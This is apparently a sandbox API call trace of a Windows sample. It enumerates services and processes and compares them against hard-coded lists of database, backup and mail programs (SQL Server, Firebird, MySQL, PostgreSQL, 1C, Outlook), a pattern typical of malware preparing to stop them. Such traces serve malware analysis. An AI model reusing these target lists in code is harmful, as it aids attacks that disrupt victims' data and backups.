	[0052.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0052.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0052.979] lstrlenW (lpString="RpcSs") returned 5
	[0052.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0052.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0052.979] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0052.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0052.980] lstrlenW (lpString="SamSs") returned 5
	[0052.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0052.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0052.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0052.980] lstrlenW (lpString="Schedule") returned 8
	[0052.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0052.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0052.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0052.980] lstrlenW (lpString="SENS") returned 4
	[0052.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0052.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0052.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0052.980] lstrlenW (lpString="ShellHWDetection") returned 16
	[0052.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0052.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0052.980] lstrlenW (lpString="Spooler") returned 7
	[0052.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0052.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0052.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0052.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0052.981] lstrlenW (lpString="swprv") returned 5
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1
	[0052.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1
	[0052.981] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1
	[0052.981] lstrlenW (lpString="SysMain") returned 7
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0052.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0052.981] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0052.981] lstrlenW (lpString="Themes") returned 6
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0052.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0052.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0052.981] lstrlenW (lpString="TrkWks") returned 6
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0052.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0052.981] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0052.981] lstrlenW (lpString="UxSms") returned 5
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0052.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0052.981] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0052.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0052.981] lstrlenW (lpString="VSS") returned 3
	[0052.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1
	[0052.982] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1
	[0052.982] lstrlenW (lpString="WdiServiceHost") returned 14
	[0052.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0052.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0052.982] lstrlenW (lpString="WdiSystemHost") returned 13
	[0052.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0052.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0052.982] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19
	[0052.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1
	[0052.982] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1
	[0052.982] lstrlenW (lpString="Winmgmt") returned 7
	[0052.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0052.982] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0052.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0052.982] lstrlenW (lpString="WPDBusEnum") returned 10
	[0052.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0052.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0052.983] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0052.983] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0052.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0052.983] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3ea0058 | out: hHeap=0x4f0000) returned 1
	[0052.983] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x158
	[0052.985] Process32FirstW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0052.988] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0052.989] lstrlenW (lpString="System") returned 6
	[0052.989] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0052.989] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0052.989] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0052.990] lstrlenW (lpString="smss.exe") returned 8
	[0052.990] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0052.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0052.990] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.991] lstrlenW (lpString="csrss.exe") returned 9
	[0052.991] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0052.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0052.991] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0052.991] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0052.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0052.991] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0052.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0052.991] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0052.992] lstrlenW (lpString="wininit.exe") returned 11
	[0052.992] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0052.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0052.992] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0052.992] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.993] lstrlenW (lpString="csrss.exe") returned 9
	[0052.993] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0052.994] lstrlenW (lpString="winlogon.exe") returned 12
	[0052.994] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0052.994] lstrlenW (lpString="services.exe") returned 12
	[0052.994] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0052.995] lstrlenW (lpString="lsass.exe") returned 9
	[0052.995] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0052.996] lstrlenW (lpString="lsm.exe") returned 7
	[0052.996] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.997] lstrlenW (lpString="svchost.exe") returned 11
	[0052.997] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.997] lstrlenW (lpString="svchost.exe") returned 11
	[0052.997] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.998] lstrlenW (lpString="svchost.exe") returned 11
	[0052.998] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.999] lstrlenW (lpString="svchost.exe") returned 11
	[0052.999] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.000] lstrlenW (lpString="svchost.exe") returned 11
	[0053.000] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0053.000] lstrlenW (lpString="audiodg.exe") returned 11
	[0053.000] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.001] lstrlenW (lpString="svchost.exe") returned 11
	[0053.001] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.002] lstrlenW (lpString="svchost.exe") returned 11
	[0053.002] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0053.003] lstrlenW (lpString="dwm.exe") returned 7
	[0053.003] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0053.003] lstrlenW (lpString="explorer.exe") returned 12
	[0053.003] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0053.004] lstrlenW (lpString="spoolsv.exe") returned 11
	[0053.004] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0053.005] lstrlenW (lpString="taskhost.exe") returned 12
	[0053.005] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0053.006] lstrlenW (lpString="svchost.exe") returned 11
	[0053.006] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0053.006] lstrlenW (lpString="taskeng.exe") returned 11
	[0053.006] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0053.007] lstrlenW (lpString="taskhost.exe") returned 12
	[0053.007] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0053.008] lstrlenW (lpString="program.exe") returned 11
	[0053.008] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0053.008] lstrlenW (lpString="felt.exe") returned 8
	[0053.008] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0053.081] lstrlenW (lpString="bibliography.exe") returned 16
	[0053.081] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0053.082] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0053.082] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0053.083] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0053.083] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0053.083] lstrlenW (lpString="converter.exe") returned 13
	[0053.084] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0053.084] lstrlenW (lpString="once.exe") returned 8
	[0053.084] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0053.085] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0053.085] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0053.086] lstrlenW (lpString="always.exe") returned 10
	[0053.086] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0053.087] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0053.087] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0053.087] lstrlenW (lpString="donated.exe") returned 11
	[0053.087] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0053.088] lstrlenW (lpString="nowherepike.exe") returned 15
	[0053.088] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0053.089] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0053.089] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0053.090] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0053.090] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0053.090] lstrlenW (lpString="allowance.exe") returned 13
	[0053.090] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0053.091] lstrlenW (lpString="conducting affect.exe") returned 21
	[0053.091] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0053.092] lstrlenW (lpString="plaintiff.exe") returned 13
	[0053.092] Process32NextW (in: hSnapshot=0x158, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0053.092] lstrlenW (lpString="dialog.exe") returned 10
